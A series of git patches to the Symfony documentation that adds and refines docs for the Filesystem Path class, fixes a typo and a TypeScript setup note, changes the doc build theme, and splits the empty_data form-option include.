 frontend/encore/typescript.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 1ecd101a061..103f1f0b293 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -20,10 +20,9 @@ Want to use `TypeScript`_? No problem! First, enable it:
     +     //.enableForkedTypeScriptTypesChecking()
       ;
 
-Then add a `tsconfig.json` file with the contents `{}` to the project folder,
-or in the folder where your TypeScript files are located, like the `/assets`
-folder. In `tsconfig.json` you can define more options on how to process
-TypeScript, but defining no additional options will already work.
+Then create an empty ``tsconfig.json`` file with the contents ``{}`` in the project
+root folder (or in the folder where your TypeScript files are located; e.g. ``assets/``).
+In ``tsconfig.json`` you can define more options, as shown in `tsconfig.json reference`_.
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting

From 3f42e2c1577bd3ce5efcb8b4eca51c584c648019 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 17 Nov 2021 19:31:25 +0100
Subject: [PATCH 1357/5766] Corrected typo in serializer.rst

Replace "forgot" by "forget".
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index aac67945db7..635f8e67ba3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -972,7 +972,7 @@ Option                          Description
 ``xml_version``                 Sets the XML version attribute                     ``1.1``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
+``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
                                 type casting
 ``xml_root_node_name``          Sets the root node name                            ``response``
 ``as_collection``               Always returns results as a collection, even if    ``false``

From 165244e7b0c182745033a894be6f849ef1bbab2c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Sun, 29 Aug 2021 12:08:00 +0200
Subject: [PATCH 1358/5766] [Filesystem] Add documentation for the Path class

---
 components/filesystem.rst | 210 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 206 insertions(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index a5023a270e1..c274c78f921 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,7 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem.
+    The Filesystem component provides basic utilities for the filesystem and
+    paths manipulation.
 
 Installation
 ------------
@@ -18,20 +19,30 @@ Installation
 Usage
 -----
 
-The :class:`Symfony\\Component\\Filesystem\\Filesystem` class is the unique
-endpoint for filesystem operations::
+The component contains two classes:
+
+- The :class:`Symfony\\Component\\Filesystem\\Filesystem` which provides utilities
+  for filesystem write operations.
+- The :class:`Symfony\\Component\\Filesystem\\Path` which provides utilities
+  for paths manipulation.::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
+    use Symfony\Component\Filesystem\Path;
 
     $filesystem = new Filesystem();
 
     try {
-        $filesystem->mkdir(sys_get_temp_dir().'/'.random_int(0, 1000));
+        $filesystem->mkdir(
+            Path::normalize(sys_get_temp_dir().'/'.random_int(0, 1000)),
+        );
     } catch (IOExceptionInterface $exception) {
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
+Filesystem
+----------
+
 ``mkdir``
 ~~~~~~~~~
 
@@ -224,6 +235,11 @@ Its behavior is the following::
     * if ``$path`` does not exist, it returns null.
     * if ``$path`` exists, it returns its absolute fully resolved final version.
 
+.. note::
+
+    If you wish to canonicalize the path without checking its existence, you can
+    use :method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method instead.
+
 ``makePathRelative``
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -309,6 +325,192 @@ creates them before appending the contents.
 
     The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
+Path
+----
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\Filesystem\\Path` class was introduced in Symfony 5.4.
+
+Dealing with file paths usually involves some difficulties:
+
+- System Heterogeneity: file paths look different on different platforms. UNIX
+  file paths start with a slash ("/"), while Windows file paths start with a
+  system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
+  by default ("").
+- Absolute/relative paths: web applications frequently need to deal with absolute
+  and relative paths. Converting one to the other properly is tricky and
+  repetitive.
+
+:class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
+those issues.
+
+Canonicalization
+~~~~~~~~~~~~~~~~
+
+Returns the shortest path name equivalent to the given path. It applies the
+following rules iteratively until no further processing can be done:
+
+- "." segments are removed;
+- ".." segments are resolved;
+- backslashes ("\") are converted into forward slashes ("/");
+- root paths ("/" and "C:/") always terminate with a slash;
+- non-root paths never terminate with a slash;
+- schemes (such as "phar://") are kept;
+- replace "~" with the user's home directory.
+
+You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
+
+    echo Path::canonicalize('/var/www/vhost/webmozart/../config.ini');
+    // => /var/www/vhost/config.ini
+
+You can pass absolute paths and relative paths to the
+:method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method. When a
+relative path is passed, ".." segments at the beginning of the path are kept::
+
+    echo Path::canonicalize('../uploads/../config/config.yaml');
+    // => ../config/config.yaml
+
+Malformed paths are returned unchanged::
+
+    echo Path::canonicalize('C:Programs/PHP/php.ini');
+    // => C:Programs/PHP/php.ini
+
+Converting Absolute/Relative Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Absolute/relative paths can be converted with the methods
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`
+and :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` method expects a
+relative path and a base path to base that relative path upon::
+
+    echo Path::makeAbsolute('config/config.yaml', '/var/www/project');
+    // => /var/www/project/config/config.yaml
+
+If an absolute path is passed in the first argument, the absolute path is
+returned unchanged::
+
+    echo Path::makeAbsolute('/usr/share/lib/config.ini', '/var/www/project');
+    // => /usr/share/lib/config.ini
+
+The method resolves ".." segments, if there are any::
+
+    echo Path::makeAbsolute('../config/config.yaml', '/var/www/project/uploads');
+    // => /var/www/project/config/config.yaml
+
+This method is very useful if you want to be able to accept relative paths (for
+example, relative to the root directory of your project) and absolute paths at
+the same time.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` is the inverse
+operation to :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project');
+    // => config/config.yaml
+
+If the path is not within the base path, the method will prepend ".." segments
+as necessary::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
+    // => ../config/config.yaml
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+path is absolute or relative::
+
+    Path::isAbsolute('C:\Programs\PHP\php.ini')
+    // => true
+
+All four methods internally canonicalize the passed path.
+
+Finding Longest Common Base Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you store absolute file paths on the file system, this leads to a lot of
+duplicated information::
+
+    return [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+Especially when storing many paths, the amount of duplicated information is
+noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
+to check a list of paths for a common base path::
+
+    $paths = [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+    Path::getLongestCommonBasePath($paths);
+    // => /var/www/vhosts/project/httpdocs
+
+Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
+to shorten the stored paths::
+
+    $bp = '/var/www/vhosts/project/httpdocs';
+
+    return [
+        $bp.'/config/config.yaml',
+        $bp.'/config/routing.yaml',
+        $bp.'/config/services.yaml',
+        $bp.'/images/banana.gif',
+        $bp.'/uploads/images/nicer-banana.gif',
+    ];
+
+:method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always
+returns canonical paths.
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::isBasePath` to test whether a
+path is a base path of another path::
+
+    Path::isBasePath("/var/www", "/var/www/project");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/..");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/../..");
+    // => false
+
+Finding Directories/Root Directories
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
+file path. This method has a few quirks::
+
+- `dirname()` does not accept backslashes on UNIX
+- `dirname("C:/Programs")` returns "C:", not "C:/"
+- `dirname("C:/")` returns ".", not "C:/"
+- `dirname("C:")` returns ".", not "C:/"
+- `dirname("Programs")` returns ".", not ""
+- `dirname()` does not canonicalize the result
+
+:method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
+shortcomings::
+
+    echo Path::getDirectory("C:\Programs");
+    // => C:/
+
+Additionally, you can use :method:`Symfony\\Component\\Filesystem\\Path::getRoot`
+to obtain the root of a path::
+
+    echo Path::getRoot("/etc/apache2/sites-available");
+    // => /
+
+    echo Path::getRoot("C:\Programs\Apache\Config");
+    // => C:/
+>>>>>>> a992f6342 ([Filesystem] Add documentation for the Path class)
+
 Error Handling
 --------------
 

From 304de64e7dccfc9d6e093d5e2f47822631f928b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 12:36:41 +0100
Subject: [PATCH 1359/5766] Minor tweaks

---
 components/filesystem.rst | 28 +++++++++++-----------------
 1 file changed, 11 insertions(+), 17 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index c274c78f921..e60e0b389af 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,8 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem and
-    paths manipulation.
+    The Filesystem component provides platform-independent utilities for
+    filesystem operations and for file/directory paths manipulation.
 
 Installation
 ------------
@@ -19,12 +19,8 @@ Installation
 Usage
 -----
 
-The component contains two classes:
-
-- The :class:`Symfony\\Component\\Filesystem\\Filesystem` which provides utilities
-  for filesystem write operations.
-- The :class:`Symfony\\Component\\Filesystem\\Path` which provides utilities
-  for paths manipulation.::
+The component contains two main classes called :class:`Symfony\\Component\\Filesystem\\Filesystem`
+and :class:`Symfony\\Component\\Filesystem\\Path`::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
@@ -40,8 +36,8 @@ The component contains two classes:
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-Filesystem
-----------
+Filesystem Utilities
+--------------------
 
 ``mkdir``
 ~~~~~~~~~
@@ -325,8 +321,8 @@ creates them before appending the contents.
 
     The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
-Path
-----
+Path Manipulation Utilities
+---------------------------
 
 .. versionadded:: 5.4
 
@@ -334,13 +330,12 @@ Path
 
 Dealing with file paths usually involves some difficulties:
 
-- System Heterogeneity: file paths look different on different platforms. UNIX
+- Platform differences: file paths look different on different platforms. UNIX
   file paths start with a slash ("/"), while Windows file paths start with a
   system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
-  by default ("").
+  by default.
 - Absolute/relative paths: web applications frequently need to deal with absolute
-  and relative paths. Converting one to the other properly is tricky and
-  repetitive.
+  and relative paths. Converting one to the other properly is tricky and repetitive.
 
 :class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
 those issues.
@@ -509,7 +504,6 @@ to obtain the root of a path::
 
     echo Path::getRoot("C:\Programs\Apache\Config");
     // => C:/
->>>>>>> a992f6342 ([Filesystem] Add documentation for the Path class)
 
 Error Handling
 --------------

From b043aa36407257a540c8dbbc3f08ab405429d225 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 12:54:34 +0100
Subject: [PATCH 1360/5766] Fix doc builder script

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index a72220ab003..b17e3e984be 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -25,7 +25,7 @@
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')
             ->setImagesPublicPrefix('_images')
-            ->setTheme('sfdocs')
+            ->setTheme('rtd')
         ;
 
         $buildConfig->setExcludedPaths(['.github/', '_build/']);

From 3480f69e8a84132882a7d9fb03437403d4a6a1e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 13:12:53 +0100
Subject: [PATCH 1361/5766] Split a conditional doc include into two separate
 doc includes

---
 reference/forms/types/choice.rst                      |  6 ++----
 reference/forms/types/collection.rst                  |  6 ++----
 reference/forms/types/color.rst                       |  6 ++----
 reference/forms/types/country.rst                     |  6 ++----
 reference/forms/types/currency.rst                    |  6 ++----
 reference/forms/types/email.rst                       |  6 ++----
 reference/forms/types/entity.rst                      |  6 ++----
 reference/forms/types/form.rst                        |  6 ++----
 reference/forms/types/hidden.rst                      |  6 ++----
 reference/forms/types/integer.rst                     |  6 ++----
 reference/forms/types/language.rst                    |  6 ++----
 reference/forms/types/locale.rst                      |  6 ++----
 reference/forms/types/money.rst                       |  6 ++----
 reference/forms/types/number.rst                      |  6 ++----
 .../types/options/empty_data_declaration.rst.inc      |  4 ++++
 ...ty_data.rst.inc => empty_data_description.rst.inc} | 11 -----------
 reference/forms/types/password.rst                    |  6 ++----
 reference/forms/types/percent.rst                     |  6 ++----
 reference/forms/types/range.rst                       |  6 ++----
 reference/forms/types/search.rst                      |  6 ++----
 reference/forms/types/tel.rst                         |  6 ++----
 reference/forms/types/text.rst                        |  6 ++----
 reference/forms/types/textarea.rst                    |  6 ++----
 reference/forms/types/timezone.rst                    |  6 ++----
 reference/forms/types/url.rst                         |  6 ++----
 reference/forms/types/week.rst                        |  6 ++----
 26 files changed, 52 insertions(+), 107 deletions(-)
 create mode 100644 reference/forms/types/options/empty_data_declaration.rst.inc
 rename reference/forms/types/options/{empty_data.rst.inc => empty_data_description.rst.inc} (84%)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index b32ae650a23..ec4f79c7205 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -226,8 +226,7 @@ compound
 This option specifies if a form is compound. The value is by default
 overridden by the value of the ``expanded`` option.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -235,8 +234,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 442d42c09bd..cbd39920ad9 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -384,13 +384,11 @@ Not all options are listed here - only the most applicable to this type:
 
 .. include:: /reference/forms/types/options/by_reference.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 742b7d4cb23..19c64f5fb22 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -35,13 +35,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 744fc8553e1..4f1cf43bb5e 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -91,8 +91,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -100,8 +99,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index d278ad67101..a747c313044 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -68,8 +68,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -77,8 +76,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index e3b4c5c5e00..772a7ce11cf 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -28,13 +28,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 293b6ba81af..6adaa9df79f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -288,8 +288,7 @@ type:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -297,8 +296,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index a9a3fc2a1e2..f132133e971 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -49,8 +49,7 @@ option on the form.
 
 .. _reference-form-option-empty-data:
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -61,8 +60,7 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index cd9968cd6a8..c24da63d8ee 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -44,13 +44,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/data.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 8ac061ebf7d..f7955bb8655 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -88,13 +88,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 25a0f294c94..e38a5e99bc2 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -93,8 +93,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -102,8 +101,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index af9dc14be31..2207b0b552f 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -81,8 +81,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -90,8 +89,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 6cc6e276517..33eab43118c 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -89,13 +89,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index c1459d4d3a6..47024735ae6 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -78,13 +78,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/options/empty_data_declaration.rst.inc b/reference/forms/types/options/empty_data_declaration.rst.inc
new file mode 100644
index 00000000000..4db2aa6723e
--- /dev/null
+++ b/reference/forms/types/options/empty_data_declaration.rst.inc
@@ -0,0 +1,4 @@
+``empty_data``
+~~~~~~~~~~~~~~
+
+**type**: ``mixed``
diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
similarity index 84%
rename from reference/forms/types/options/empty_data.rst.inc
rename to reference/forms/types/options/empty_data_description.rst.inc
index 5e0a23a70b9..90e111fb202 100644
--- a/reference/forms/types/options/empty_data.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -1,14 +1,3 @@
-``empty_data``
-~~~~~~~~~~~~~~
-
-**type**: ``mixed``
-
-.. This file should only be included with start-after or end-before that's
-   set to this placeholder value. Its purpose is to let us include only
-   part of this file.
-
-DEFAULT_PLACEHOLDER
-
 This option determines what value the field will *return* when the submitted
 value is empty (or missing). It does not set an initial value if none is
 provided when the form is rendered in a view.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 9fc067c03c9..2d02f7f6052 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -53,13 +53,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 549403bc89f..aa5b1c82dd4 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -83,13 +83,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index c13f7730bb6..61775326098 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -43,13 +43,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
